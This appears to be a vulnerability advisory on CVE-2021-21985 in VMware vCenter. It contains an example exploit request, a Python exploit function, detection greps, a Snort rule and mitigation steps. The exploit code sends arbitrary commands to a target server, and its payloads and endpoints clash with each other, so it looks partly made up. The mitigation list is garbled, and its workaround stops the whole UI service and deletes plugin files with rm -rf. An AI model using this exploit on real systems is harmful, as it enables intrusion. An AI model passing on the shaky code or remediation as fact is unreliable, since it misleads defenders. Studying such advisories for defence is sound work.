Executive Summary

CVE-2021-21985 is a remote code execution vulnerability in the vSphere Client (HTML5) that affects vCenter Server deployments. The vulnerability allows unauthenticated attackers to execute arbitrary commands with unrestricted privileges on the underlying operating system.

Technical Analysis

The vulnerability exists in the Virtual SAN Health Check plug-in, which is enabled by default. The issue stems from improper input validation in the vSAN Health Check API endpoints.

Vulnerable Endpoint

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: vcenter.target.com
Content-Type: application/json

{
    "methodInput": [{
        "type": "java.lang.ProcessBuilder",
        "value": ["cmd.exe", "/c", "calc.exe"]
    }]
}

Exploitation Details

# Exploit implementation
import requests
import json

def exploit_vcenter(target, command):
    # Craft malicious payload
    payload = {
        "methodInput": [
            {
                "type": "com.vmware.vsan.client.services.capability.VsanCapabilityUtils",
                "value": None
            },
            {
                "type": "java.lang.Runtime",
                "value": {
                    "methods": [{
                        "name": "exec",
                        "params": [command]
                    }]
                }
            }
        ]
    }

    # Send exploit
    url = f"https://{target}/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.VsanProviderUtils/setVmodlHelper"
    response = requests.post(url, json=payload, verify=False)

    return response.status_code == 200

Impact Assessment

• Full System Compromise: Unrestricted command execution
• Hypervisor Access: Potential escape to ESXi hosts
• Data Exfiltration: Access to all VMs and data
• Ransomware Risk: Multiple groups actively exploiting

Detection Methods

# Check vCenter logs for exploitation attempts
grep -E "vsanProviderUtils|setVmodlHelper|setStaticMethod" /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log

# Monitor for suspicious processes
ps aux | grep -E "java.*vsan.*exec|ProcessBuilder"

# Network detection signatures
alert tcp any any -> $VCENTER_IP 443 (msg:"Possible CVE-2021-21985 Exploitation"; content:"vsanProviderUtils"; content:"setStaticMethod"; sid:1000001;)

Mitigation Strategies

Immediate Actions

1. Apply VMware Patches:
2. vCenter 7.0 Update 2c
3. vCenter 6.7 Update 3n

4. vCenter 6.5 Update 3p

5. Workaround (if patching not immediate):

# Disable vSAN Health Check plugin
/usr/lib/vmware-vsphere-ui/server/bin/vmon-cli --stop vsphere-ui
/usr/lib/vmware-vsphere-ui/server/bin/vmon-cli --disable vsphere-ui

# Remove plugin files
rm -rf /usr/lib/vmware-vsphere-ui/plugin-packages/vsphere-client/plugins/vsan-h5-client-plugin*

1. Network Isolation:
2. Limit access to vCenter management interfaces
3. Implement jump hosts for administrative access

Long-term Security

• Regular patching schedule
• Network segmentation for management networks
• Multi-factor authentication
• Audit logging and monitoring

References

• VMware Security Advisory VMSA-2021-0010
• CISA Alert AA21-158A